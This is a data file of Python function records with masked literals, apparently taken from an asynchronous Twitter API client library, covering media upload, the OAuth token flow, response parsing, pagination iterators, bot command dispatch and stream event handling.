{"signature": "async def run_tasks(self):", "body": "tasks = self.get_tasks()<EOL>self._gathered_tasks = asyncio.gather(*tasks, loop=self.loop)<EOL>try:<EOL><INDENT>await self._gathered_tasks<EOL><DEDENT>except CancelledError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Run the tasks attached to the instance", "id": "f4733:c1:m10"}
{"signature": "def run(self):", "body": "self.loop.run_until_complete(self.arun())<EOL>", "docstring": "Run the tasks attached to the instance", "id": "f4733:c1:m12"}
{"signature": "async def close(self):", "body": "tasks = self._get_close_tasks()<EOL>if tasks:<EOL><INDENT>await asyncio.wait(tasks)<EOL><DEDENT>self._session = None<EOL>", "docstring": "properly close the client", "id": "f4733:c1:m14"}
{"signature": "async def _get_twitter_configuration(self):", "body": "api = self['<STR_LIT>', general.twitter_api_version,<EOL>\"<STR_LIT>\", general.twitter_base_api_url]<EOL>return await api.help.configuration.get()<EOL>", "docstring": "create a ``twitter_configuration`` attribute with the response\nof the endpoint\nhttps://api.twitter.com/1.1/help/configuration.json", "id": "f4733:c2:m1"}
{"signature": "async def _get_user(self):", "body": "api = self['<STR_LIT>', general.twitter_api_version,<EOL>\"<STR_LIT>\", general.twitter_base_api_url]<EOL>return await api.account.verify_credentials.get()<EOL>", "docstring": "create a ``user`` attribute with the response of the endpoint\nhttps://api.twitter.com/1.1/account/verify_credentials.json", "id": "f4733:c2:m4"}
{"signature": "async def _chunked_upload(self, media, media_size,<EOL>path=None,<EOL>media_type=None,<EOL>media_category=None,<EOL>chunk_size=<NUM_LIT:2>**<NUM_LIT:20>,<EOL>**params):", "body": "if isinstance(media, bytes):<EOL><INDENT>media = io.BytesIO(media)<EOL><DEDENT>chunk = media.read(chunk_size)<EOL>is_coro = asyncio.iscoroutine(chunk)<EOL>if is_coro:<EOL><INDENT>chunk = await chunk<EOL><DEDENT>if media_type is None:<EOL><INDENT>media_metadata = await utils.get_media_metadata(chunk, path)<EOL>media_type, media_category = media_metadata<EOL><DEDENT>elif media_category is None:<EOL><INDENT>media_category = utils.get_category(media_type)<EOL><DEDENT>response = await self.upload.media.upload.post(<EOL>command=\"<STR_LIT>\",<EOL>total_bytes=media_size,<EOL>media_type=media_type,<EOL>media_category=media_category,<EOL>**params<EOL>)<EOL>media_id = response['<STR_LIT>']<EOL>i = <NUM_LIT:0><EOL>while chunk:<EOL><INDENT>if is_coro:<EOL><INDENT>req = self.upload.media.upload.post(command=\"<STR_LIT>\",<EOL>media_id=media_id,<EOL>media=chunk,<EOL>segment_index=i)<EOL>chunk, _ = await asyncio.gather(media.read(chunk_size), req)<EOL><DEDENT>else:<EOL><INDENT>await self.upload.media.upload.post(command=\"<STR_LIT>\",<EOL>media_id=media_id,<EOL>media=chunk,<EOL>segment_index=i)<EOL>chunk = media.read(chunk_size)<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>status = await self.upload.media.upload.post(command=\"<STR_LIT>\",<EOL>media_id=media_id)<EOL>if '<STR_LIT>' in status:<EOL><INDENT>while status['<STR_LIT>'].get('<STR_LIT:state>') != \"<STR_LIT>\":<EOL><INDENT>processing_info = status['<STR_LIT>']<EOL>if processing_info.get('<STR_LIT:state>') == \"<STR_LIT>\":<EOL><INDENT>error = processing_info.get('<STR_LIT:error>', {})<EOL>message = error.get('<STR_LIT:message>', str(status))<EOL>raise exceptions.MediaProcessingError(data=status,<EOL>message=message,<EOL>**params)<EOL><DEDENT>delay = processing_info['<STR_LIT>']<EOL>await asyncio.sleep(delay)<EOL>status = await self.upload.media.upload.get(<EOL>command=\"<STR_LIT>\",<EOL>media_id=media_id,<EOL>**params<EOL>)<EOL><DEDENT><DEDENT>return response<EOL>", "docstring": "upload media in chunks\n\nParameters\n----------\nmedia : file object\n    a file object of the media\nmedia_size : int\n    size of the media\npath : str, optional\n    filename of the media\nmedia_type : str, optional\n    mime type of the media\nmedia_category : str, optional\n    twitter media category, must be used with ``media_type``\nchunk_size : int, optional\n    size of a chunk in bytes\nparams : dict, optional\n    additional parameters of the request\n\nReturns\n-------\n.data_processing.PeonyResponse\n    Response of the request", "id": "f4733:c2:m6"}
{"signature": "async def upload_media(self, file_,<EOL>media_type=None,<EOL>media_category=None,<EOL>chunked=None,<EOL>size_limit=None,<EOL>**params):", "body": "if isinstance(file_, str):<EOL><INDENT>url = urlparse(file_)<EOL>if url.scheme.startswith('<STR_LIT:http>'):<EOL><INDENT>media = await self._session.get(file_)<EOL><DEDENT>else:<EOL><INDENT>path = urlparse(file_).path.strip(\"<STR_LIT>\")<EOL>media = await utils.execute(open(path, '<STR_LIT:rb>'))<EOL><DEDENT><DEDENT>elif hasattr(file_, '<STR_LIT>') or isinstance(file_, bytes):<EOL><INDENT>media = file_<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>media_size = await utils.get_size(media)<EOL>if chunked is not None:<EOL><INDENT>size_test = False<EOL><DEDENT>else:<EOL><INDENT>size_test = await self._size_test(media_size, size_limit)<EOL><DEDENT>if isinstance(media, aiohttp.ClientResponse):<EOL><INDENT>media = media.content<EOL><DEDENT>if chunked or (size_test and chunked is None):<EOL><INDENT>args = media, media_size, file_, media_type, media_category<EOL>response = await self._chunked_upload(*args, **params)<EOL><DEDENT>else:<EOL><INDENT>response = await self.upload.media.upload.post(media=media,<EOL>**params)<EOL><DEDENT>if not hasattr(file_, '<STR_LIT>') and not getattr(media, '<STR_LIT>', True):<EOL><INDENT>media.close()<EOL><DEDENT>return response<EOL>", "docstring": "upload a media on twitter\n\nParameters\n----------\nfile_ : str or pathlib.Path or file\n    Path to the file or file object\nmedia_type : str, optional\n    mime type of the media\nmedia_category : str, optional\n    Twitter's media category of the media, must be used with\n    ``media_type``\nchunked : bool, optional\n    If True, force the use of the chunked upload for the media\nsize_limit : int, optional\n    If set, the media will be sent using a multipart upload if\n    its size is over ``size_limit`` bytes\nparams : dict\n    parameters used when making the request\n\nReturns\n-------\n.data_processing.PeonyResponse\n    Response of the request", "id": "f4733:c2:m8"}
{"signature": "async def get_oauth_token(consumer_key, consumer_secret, callback_uri=\"<STR_LIT>\"):", "body": "client = BasePeonyClient(consumer_key=consumer_key,<EOL>consumer_secret=consumer_secret,<EOL>api_version=\"<STR_LIT>\",<EOL>suffix=\"<STR_LIT>\")<EOL>response = await client.api.oauth.request_token.post(<EOL>_suffix=\"<STR_LIT>\",<EOL>oauth_callback=callback_uri<EOL>)<EOL>return parse_token(response)<EOL>", "docstring": "Get a temporary oauth token\n\nParameters\n----------\nconsumer_key : str\n    Your consumer key\nconsumer_secret : str\n    Your consumer secret\ncallback_uri : str, optional\n    Callback uri, defaults to 'oob'\n\nReturns\n-------\ndict\n    Temporary tokens", "id": "f4734:m0"}
{"signature": "async def get_oauth_verifier(oauth_token):", "body": "url = \"<STR_LIT>\" + oauth_token<EOL>try:<EOL><INDENT>browser = webbrowser.open(url)<EOL>await asyncio.sleep(<NUM_LIT:2>)<EOL>if not browser:<EOL><INDENT>raise RuntimeError<EOL><DEDENT><DEDENT>except RuntimeError:<EOL><INDENT>print(\"<STR_LIT>\" + url)<EOL><DEDENT>verifier = input(\"<STR_LIT>\")<EOL>return verifier<EOL>", "docstring": "Open authorize page in a browser,\nprint the url if it didn't work\n\nArguments\n---------\noauth_token : str\n    The oauth token received in :func:`get_oauth_token`\n\nReturns\n-------\nstr\n    The PIN entered by the user", "id": "f4734:m1"}
{"signature": "async def get_access_token(consumer_key, consumer_secret,<EOL>oauth_token, oauth_token_secret,<EOL>oauth_verifier, **kwargs):", "body": "client = BasePeonyClient(consumer_key=consumer_key,<EOL>consumer_secret=consumer_secret,<EOL>access_token=oauth_token,<EOL>access_token_secret=oauth_token_secret,<EOL>api_version=\"<STR_LIT>\",<EOL>suffix=\"<STR_LIT>\")<EOL>response = await client.api.oauth.access_token.get(<EOL>_suffix=\"<STR_LIT>\",<EOL>oauth_verifier=oauth_verifier<EOL>)<EOL>return parse_token(response)<EOL>", "docstring": "get the access token of the user\n\nParameters\n----------\nconsumer_key : str\n    Your consumer key\nconsumer_secret : str\n    Your consumer secret\noauth_token : str\n    OAuth token from :func:`get_oauth_token`\noauth_token_secret : str\n    OAuth token secret from :func:`get_oauth_token`\noauth_verifier : str\n    OAuth verifier from :func:`get_oauth_verifier`\n\nReturns\n-------\ndict\n    Access tokens", "id": "f4734:m2"}
{"signature": "async def async_oauth_dance(consumer_key, consumer_secret, callback_uri=\"<STR_LIT>\"):", "body": "token = await get_oauth_token(consumer_key, consumer_secret, callback_uri)<EOL>oauth_verifier = await get_oauth_verifier(token['<STR_LIT>'])<EOL>token = await get_access_token(<EOL>consumer_key,<EOL>consumer_secret,<EOL>oauth_verifier=oauth_verifier,<EOL>**token<EOL>)<EOL>token = dict(<EOL>consumer_key=consumer_key,<EOL>consumer_secret=consumer_secret,<EOL>access_token=token['<STR_LIT>'],<EOL>access_token_secret=token['<STR_LIT>']<EOL>)<EOL>return token<EOL>", "docstring": "OAuth dance to get the user's access token\n\nParameters\n----------\nconsumer_key : str\n    Your consumer key\nconsumer_secret : str\n    Your consumer secret\ncallback_uri : str\n    Callback uri, defaults to 'oob'\n\nReturns\n-------\ndict\n    Access tokens", "id": "f4734:m3"}
{"signature": "def parse_token(response):", "body": "items = response.split(\"<STR_LIT:&>\")<EOL>items = [item.split(\"<STR_LIT:=>\") for item in items]<EOL>return {key: value for key, value in items}<EOL>", "docstring": "parse the responses containing the tokens\n\nParameters\n----------\nresponse : str\n    The response containing the tokens\n\nReturns\n-------\ndict\n    The parsed tokens", "id": "f4734:m4"}
{"signature": "def oauth_dance(consumer_key, consumer_secret,<EOL>oauth_callback=\"<STR_LIT>\", loop=None):", "body": "loop = asyncio.get_event_loop() if loop is None else loop<EOL>coro = async_oauth_dance(consumer_key, consumer_secret, oauth_callback)<EOL>return loop.run_until_complete(coro)<EOL>", "docstring": "OAuth dance to get the user's access token\n\nIt calls async_oauth_dance and create event loop of not given\n\nParameters\n----------\nconsumer_key : str\n    Your consumer key\nconsumer_secret : str\n    Your consumer secret\noauth_callback : str\n    Callback uri, defaults to 'oob'\nloop : event loop\n    asyncio event loop\n\nReturns\n-------\ndict\n    Access tokens", "id": "f4734:m5"}
{"signature": "def oauth2_dance(consumer_key, consumer_secret, loop=None):", "body": "loop = asyncio.get_event_loop() if loop is None else loop<EOL>client = BasePeonyClient(consumer_key=consumer_key,<EOL>consumer_secret=consumer_secret,<EOL>auth=oauth.OAuth2Headers)<EOL>loop.run_until_complete(client.headers.sign())<EOL>return client.headers.token<EOL>", "docstring": "oauth2 dance\n\nParameters\n----------\nconsumer_key : str\n    Your consumer key\nconsumer_secret : str\n    Your consumer secret\nloop : event loop, optional\n    event loop to use\n\nReturns\n-------\nstr\n    Bearer token", "id": "f4734:m6"}
{"signature": "def loads(json_data, encoding=\"<STR_LIT:utf-8>\", **kwargs):", "body": "if isinstance(json_data, bytes):<EOL><INDENT>json_data = json_data.decode(encoding)<EOL><DEDENT>return json.loads(json_data, object_hook=JSONData, **kwargs)<EOL>", "docstring": "Custom loads function with an object_hook and automatic decoding\n\nParameters\n----------\njson_data : str\n    The JSON data to decode\n*args\n    Positional arguments, passed to :func:`json.loads`\nencoding : :obj:`str`, optional\n    The encoding of the bytestring\n**kwargs\n    Keyword arguments passed to :func:`json.loads`\n\nReturns\n-------\n:obj:`dict` or :obj:`list`\n    Decoded json data", "id": "f4735:m0"}
{"signature": "async def read(response, loads=loads, encoding=None):", "body": "ctype = response.headers.get('<STR_LIT:Content-Type>', \"<STR_LIT>\").lower()<EOL>try:<EOL><INDENT>if \"<STR_LIT:application/json>\" in ctype:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return await response.json(encoding=encoding, loads=loads)<EOL><DEDENT>if \"<STR_LIT:text>\" in ctype:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return await response.text(encoding=encoding)<EOL><DEDENT><DEDENT>except (UnicodeDecodeError, json.JSONDecodeError) as exc:<EOL><INDENT>data = await response.read()<EOL>raise exceptions.PeonyDecodeError(response=response,<EOL>data=data,<EOL>exception=exc)<EOL><DEDENT>return await response.read()<EOL>", "docstring": "read the data of the response\n\nParameters\n----------\nresponse : aiohttp.ClientResponse\n    response\nloads : callable\n    json loads function\nencoding : :obj:`str`, optional\n    character encoding of the response, if set to None\n    aiohttp should guess the right encoding\n\nReturns\n-------\n:obj:`bytes`, :obj:`str`, :obj:`dict` or :obj:`list`\n    the data returned depends on the response", "id": "f4735:m1"}
{"signature": "def __getattr__(self, key):", "body": "return getattr(self.data, key)<EOL>", "docstring": "get attributes from the data", "id": "f4735:c2:m1"}
{"signature": "def __getitem__(self, key):", "body": "return self.data[key]<EOL>", "docstring": "get items from the data", "id": "f4735:c2:m2"}
{"signature": "def __iter__(self):", "body": "return iter(self.data)<EOL>", "docstring": "iterate over the data", "id": "f4735:c2:m4"}
{"signature": "def __str__(self):", "body": "return str(self.data)<EOL>", "docstring": "use the string of the data", "id": "f4735:c2:m5"}
{"signature": "def __repr__(self):", "body": "return repr(self.data)<EOL>", "docstring": "use the representation of the data", "id": "f4735:c2:m6"}
{"signature": "def __len__(self):", "body": "return len(self.data)<EOL>", "docstring": "get the length of the data", "id": "f4735:c2:m7"}
{"signature": "@abstractmethod<EOL><INDENT>async def __anext__(self):<DEDENT>", "body": "", "docstring": "the function called on each iteration", "id": "f4736:c0:m2"}
{"signature": "def __init__(self, request, parameter, force=False):", "body": "self.param = parameter<EOL>self.force = force<EOL>self._response_key = None<EOL>self._response_list = False<EOL>super().__init__(request)<EOL>", "docstring": "Keep all the arguments as class attributes", "id": "f4736:c1:m0"}
{"signature": "async def __anext__(self):", "body": "request = self.request(**self.kwargs)<EOL>response = await request<EOL>data = self.get_data(response)<EOL>if data:<EOL><INDENT>await self.call_on_response(data)<EOL><DEDENT>elif not self.force:<EOL><INDENT>raise StopAsyncIteration<EOL><DEDENT>return response<EOL>", "docstring": "return each response until getting an empty data", "id": "f4736:c1:m1"}
{"signature": "def get_data(self, response):", "body": "if self._response_list:<EOL><INDENT>return response<EOL><DEDENT>elif self._response_key is None:<EOL><INDENT>if hasattr(response, \"<STR_LIT>\"):<EOL><INDENT>for key, data in response.items():<EOL><INDENT>if (hasattr(data, \"<STR_LIT>\")<EOL>and not hasattr(data, \"<STR_LIT>\")<EOL>and len(data) > <NUM_LIT:0><EOL>and '<STR_LIT:id>' in data[<NUM_LIT:0>]):<EOL><INDENT>self._response_key = key<EOL>return data<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self._response_list = True<EOL>return response<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return response[self._response_key]<EOL><DEDENT>raise NoDataFound(response=response, url=self.request.get_url())<EOL>", "docstring": "Get the data from the response", "id": "f4736:c1:m2"}
{"signature": "@abstractmethod<EOL><INDENT>async def call_on_response(self, response):<DEDENT>", "body": "", "docstring": "function that prepares for the next request", "id": "f4736:c1:m3"}
{"signature": "async def call_on_response(self, data):", "body": "self.kwargs[self.param] = data[-<NUM_LIT:1>]['<STR_LIT:id>'] - <NUM_LIT:1><EOL>", "docstring": "The parameter is set to the id of the tweet at index i - 1", "id": "f4736:c2:m1"}
{"signature": "async def call_on_response(self, data):", "body": "since_id = self.kwargs.get(self.param, <NUM_LIT:0>) + <NUM_LIT:1><EOL>if self.fill_gaps:<EOL><INDENT>if data[-<NUM_LIT:1>]['<STR_LIT:id>'] != since_id:<EOL><INDENT>max_id = data[-<NUM_LIT:1>]['<STR_LIT:id>'] - <NUM_LIT:1><EOL>responses = with_max_id(self.request(**self.kwargs,<EOL>max_id=max_id))<EOL>async for tweets in responses:<EOL><INDENT>data.extend(tweets)<EOL><DEDENT><DEDENT>if data[-<NUM_LIT:1>]['<STR_LIT:id>'] == self.last_id:<EOL><INDENT>data = data[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if not data and not self.force:<EOL><INDENT>raise StopAsyncIteration<EOL><DEDENT>await self.set_param(data)<EOL>", "docstring": "Try to fill the gaps and strip last tweet from the response\nif its id is that of the first tweet of the last response\n\nParameters\n----------\ndata : list\n    The response data", "id": "f4736:c3:m2"}
{"signature": "async def __anext__(self):", "body": "if self.kwargs.get('<STR_LIT>', -<NUM_LIT:1>) != <NUM_LIT:0>:<EOL><INDENT>response = await self.request(**self.kwargs)<EOL>self.kwargs['<STR_LIT>'] = response['<STR_LIT>']<EOL>return response<EOL><DEDENT>else:<EOL><INDENT>raise StopAsyncIteration<EOL><DEDENT>", "docstring": "return each response until getting 0 as next cursor", "id": "f4736:c4:m0"}
{"signature": "def process_keys(func):", "body": "@wraps(func)<EOL>def decorated(self, k, *args):<EOL><INDENT>if not isinstance(k, str):<EOL><INDENT>msg = \"<STR_LIT>\" % self.__class__.__name__<EOL>raise ValueError(msg)<EOL><DEDENT>if not k.startswith(self.prefix):<EOL><INDENT>k = self.prefix + k<EOL><DEDENT>return func(self, k, *args)<EOL><DEDENT>return decorated<EOL>", "docstring": "Raise error for keys that are not strings\nand add the prefix if it is missing", "id": "f4737:m0"}
{"signature": "@process_keys<EOL><INDENT>def __getitem__(self, k):<DEDENT>", "body": "return super().__getitem__(k)<EOL>", "docstring": "get the function you want", "id": "f4737:c0:m1"}
{"signature": "def _get(self, text):", "body": "if self.strict:<EOL><INDENT>match = self.prog.match(text)<EOL>if match:<EOL><INDENT>cmd = match.group()<EOL>if cmd in self:<EOL><INDENT>return cmd<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>words = self.prog.findall(text)<EOL>for word in words:<EOL><INDENT>if word in self:<EOL><INDENT>return word<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Analyze the text to get the right function\n\nParameters\n----------\ntext : str\n    The text that could call a function", "id": "f4737:c0:m4"}
{"signature": "async def run(self, *args, data):", "body": "cmd = self._get(data.text)<EOL>try:<EOL><INDENT>if cmd is not None:<EOL><INDENT>command = self[cmd](*args, data=data)<EOL>return await peony.utils.execute(command)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>peony.utils.log_error(fmt.format(cmd=cmd))<EOL><DEDENT>", "docstring": "run the function you want", "id": "f4737:c0:m5"}
{"signature": "def doc(func):", "body": "stripped_chars = \"<STR_LIT>\"<EOL>if hasattr(func, '<STR_LIT>'):<EOL><INDENT>docstring = func.__doc__.lstrip(\"<STR_LIT>\")<EOL>if \"<STR_LIT:\\n>\" in docstring:<EOL><INDENT>i = docstring.index(\"<STR_LIT:\\n>\")<EOL>return docstring[:i].rstrip(stripped_chars)<EOL><DEDENT>elif docstring:<EOL><INDENT>return docstring.rstrip(stripped_chars)<EOL><DEDENT><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Find the message shown when someone calls the help command\n\nParameters\n----------\nfunc : function\n    the function\n\nReturns\n-------\nstr\n    The help message for this command", "id": "f4741:m0"}
{"signature": "def permission_check(data, command_permissions,<EOL>command=None, permissions=None):", "body": "if permissions:<EOL><INDENT>pass<EOL><DEDENT>elif command:<EOL><INDENT>if hasattr(command, '<STR_LIT>'):<EOL><INDENT>permissions = command.permissions<EOL><DEDENT>else:<EOL><INDENT>return True  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise RuntimeError(msg.format(name=\"<STR_LIT>\"))<EOL><DEDENT>return any(data['<STR_LIT>']['<STR_LIT:id>'] in command_permissions[permission]<EOL>for permission in permissions<EOL>if permission in command_permissions)<EOL>", "docstring": "Check the permissions of the user requesting a command\n\nParameters\n----------\ndata : dict\n    message data\ncommand_permissions : dict\n    permissions of the command, contains all the roles as key and users\n    with these permissions as values\ncommand : function\n    the command that is run\npermissions : tuple or list\n    a list of permissions for the command\n\nReturns\n-------\nbool\n    True if the user has the right permissions, False otherwise", "id": "f4741:m1"}
{"signature": "@events<EOL>def friends(data):", "body": "<EOL>n '<STR_LIT>' in data or '<STR_LIT>' in data<EOL>", "docstring": "Event triggered on connection to an userstream\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#friends-lists-friends", "id": "f4742:m1"}
{"signature": "@events.alias(on, '<STR_LIT>')<EOL>def direct_message():", "body": "", "docstring": "Event triggered when a direct message is received\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#direct-messages", "id": "f4742:m2"}
{"signature": "@events.alias(on, '<STR_LIT>', '<STR_LIT>')<EOL>@events.priority(-<NUM_LIT:1>)<EOL>def retweeted_status(data):", "body": "return tweet(data) and '<STR_LIT>' in data<EOL>", "docstring": "Event triggered when the data corresponds to a retweet\n\nFor more information:\nhttps://dev.twitter.com/overview/api/tweets", "id": "f4742:m3"}
{"signature": "@events.alias(on)<EOL>def tweet(data):", "body": "return '<STR_LIT:text>' in data<EOL>", "docstring": "Event triggered when the data corresponds to a tweet\nIf there is no handler for the :func:`retweeted_status` event\nthen the data could correspond to a retweet\n\nFor more information:\nhttps://dev.twitter.com/overview/api/tweets", "id": "f4742:m4"}
{"signature": "@events.alias(on, '<STR_LIT>')<EOL>def delete():", "body": "", "docstring": "Event triggered when an user deletes a tweet\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#status-deletion-notices-delete", "id": "f4742:m5"}
{"signature": "@events.alias('<STR_LIT>')<EOL>def scrub_geo():", "body": "", "docstring": "Event triggered when an user deletes their location on a range of\n    tweets\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#location-deletion-notices-scrub-geo", "id": "f4742:m6"}
{"signature": "@events.event<EOL>def limit():", "body": "", "docstring": "Event triggered when the data corresponds to a stream limit notice\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#limit-notices-limit", "id": "f4742:m7"}
{"signature": "@events.event<EOL>def status_withheld():", "body": "", "docstring": "Event triggered upon receiving a status withheld notice\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#withheld-content-notices-status-withheld-user-withheld", "id": "f4742:m8"}
{"signature": "@events.event<EOL>def user_withheld():", "body": "", "docstring": "Event triggered upon receiving a status withheld notice\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#user-withheld", "id": "f4742:m9"}
{"signature": "@events.alias(on)<EOL>def disconnect():", "body": "", "docstring": "Event triggered upon receiving a disconnect notice\nNote that the disconnect message may not be received when experiencing\nnetwork issues.\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#disconnect-messages-disconnect", "id": "f4742:m10"}
{"signature": "@events.alias(on)<EOL>def warning():", "body": "", "docstring": "Event triggered when receiving a warning\n\nFor more information:\n\n* https://dev.twitter.com/streaming/overview/messages-types#stall-warnings-warning\n* https://dev.twitter.com/streaming/overview/messages-types#too-many-follows-warning", "id": "f4742:m11"}
{"signature": "@events.alias(on)<EOL>def stall_warning(data):", "body": "<EOL>n (warning(data)<EOL>and data.get('<STR_LIT>').get('<STR_LIT:code>') == \"<STR_LIT>\")<EOL>", "docstring": "Event triggered when receiving a stall warning\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#stall-warnings-warning", "id": "f4742:m12"}
{"signature": "@events.alias(on)<EOL>def too_many_follows(data):", "body": "<EOL>n (warning(data)<EOL>and data.get('<STR_LIT>').get('<STR_LIT:code>') == \"<STR_LIT>\")<EOL>", "docstring": "Event triggered when receiving a \"too many follows\" warning\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#too-many-follows-warning", "id": "f4742:m13"}
{"signature": "@events.event<EOL>def access_revoked():", "body": "", "docstring": "Event triggered when the user is deauthorized\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m14"}
{"signature": "@events.event<EOL>def follow():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m15"}
{"signature": "@events.event<EOL>def unfollow():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m16"}
{"signature": "@events.event<EOL>def block():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m17"}
{"signature": "@events.event<EOL>def unblock():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m18"}
{"signature": "@events.event<EOL>def favorite():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m19"}
{"signature": "@events.event<EOL>def unfavorite():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m20"}
{"signature": "@events.event<EOL>def list_created():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m21"}
{"signature": "@events.event<EOL>def list_destroyed():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m22"}
{"signature": "@events.event<EOL>def list_updated():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m23"}
{"signature": "@events.event<EOL>def list_member_added():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m24"}
{"signature": "@events.event<EOL>def list_member_removed():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m25"}
{"signature": "@events.event<EOL>def list_user_subscribed():  ", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m26"}
{"signature": "@events.event<EOL>def list_user_unsubscribed():  ", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m27"}
{"signature": "@events.event<EOL>def quoted_tweet():", "body": "", "docstring": "For more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#events-event", "id": "f4742:m28"}
{"signature": "@events.event<EOL>def user_update():", "body": "", "docstring": "Event triggered when an user updates their profile\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#user_update", "id": "f4742:m29"}
{"signature": "@events.alias('<STR_LIT>')<EOL>def control():", "body": "", "docstring": "Event triggered upon receiving a control message\n\nFor more information:\nhttps://dev.twitter.com/streaming/overview/messages-types#control-messages-control", "id": "f4742:m30"}
{"signature": "@events.alias(on, '<STR_LIT>')<EOL>def connected():", "body": "", "docstring": "event_triggered on the first connection to a stream", "id": "f4742:m31"}
{"signature": "@events.alias(on)<EOL>@events.priority(<NUM_LIT:1>)<EOL>def connect(data):", "body": "return connected(data) or stream_restart(data)<EOL>", "docstring": "event triggered on connection or reconnection to a stream", "id": "f4742:m32"}
{"signature": "@events.alias(on, '<STR_LIT>', '<STR_LIT>')<EOL>def stream_restart():", "body": "", "docstring": "Event triggered on stream restart", "id": "f4742:m33"}
{"signature": "@events.alias(on, '<STR_LIT>', '<STR_LIT>')<EOL>def reconnecting_in():", "body": "", "docstring": "Event triggered when a stream restart is scheduled\n\nthe data contains the number of seconds to wait is seconds as its\n``'reconnecting_in'`` item.", "id": "f4742:m34"}
{"signature": "@events.priority(<NUM_LIT>)<EOL>def default(_):", "body": "return True<EOL>", "docstring": "Event triggered when the data didn't trigger any handled event", "id": "f4742:m35"}
{"signature": "def with_prefix(self, prefix, strict=False):", "body": "def decorated(func):<EOL><INDENT>return EventHandler(func=func, event=self.event,<EOL>prefix=prefix, strict=strict)<EOL><DEDENT>return decorated<EOL>", "docstring": "decorator to handle commands with prefixes\n\nParameters\n----------\nprefix : str\n    the prefix of the command\nstrict : bool, optional\n    If set to True the command must be at the beginning\n    of the message. Defaults to False.\n\nReturns\n-------\nfunction\n    a decorator that returns an :class:`EventHandler` instance", "id": "f4742:c0:m2"}
{"signature": "def envelope(self):", "body": "def enveloped_event(data):<EOL><INDENT>return '<STR_LIT>' in data and self._func(data.get('<STR_LIT:message>'))<EOL><DEDENT>return self.__class__(enveloped_event, self.__name__)<EOL>", "docstring": "returns an :class:`Event` that can be used for site streams", "id": "f4742:c1:m1"}
{"signature": "async def _connect(self):", "body": "logger.debug(\"<STR_LIT>\")<EOL>await self.client.setup<EOL>if self.session is None:<EOL><INDENT>self.session = self.client._session<EOL><DEDENT>kwargs = await self.client.headers.prepare_request(**self.kwargs)<EOL>request = self.client.error_handler(self.session.request)<EOL>return await request(timeout=<NUM_LIT:0>, **kwargs)<EOL>", "docstring": "Connect to the stream\n\nReturns\n-------\nasyncio.coroutine\n    The streaming response", "id": "f4744:c0:m1"}
{"signature": "async def connect(self):", "body": "with async_timeout.timeout(self.timeout):<EOL><INDENT>self.response = await self._connect()<EOL><DEDENT>if self.response.status in range(<NUM_LIT:200>, <NUM_LIT>):<EOL><INDENT>self._error_timeout = <NUM_LIT:0><EOL>self.state = NORMAL<EOL><DEDENT>elif self.response.status == <NUM_LIT>:<EOL><INDENT>self.state = DISCONNECTION<EOL><DEDENT>elif self.response.status in range(<NUM_LIT>, <NUM_LIT>):<EOL><INDENT>self.state = RECONNECTION<EOL><DEDENT>elif self.response.status in (<NUM_LIT>, <NUM_LIT>):<EOL><INDENT>self.state = ENHANCE_YOUR_CALM<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>raise await exceptions.throw(self.response,<EOL>loads=self.client._loads,<EOL>url=self.kwargs['<STR_LIT:url>'])<EOL><DEDENT>logger.debug(\"<STR_LIT>\" % self.state)<EOL>", "docstring": "Create the connection\n\nReturns\n-------\nself\n\nRaises\n------\nexception.PeonyException\n    On a response status in 4xx that are not status 420 or 429\n    Also on statuses in 1xx or 3xx since this should not be the status\n    received here", "id": "f4744:c0:m2"}
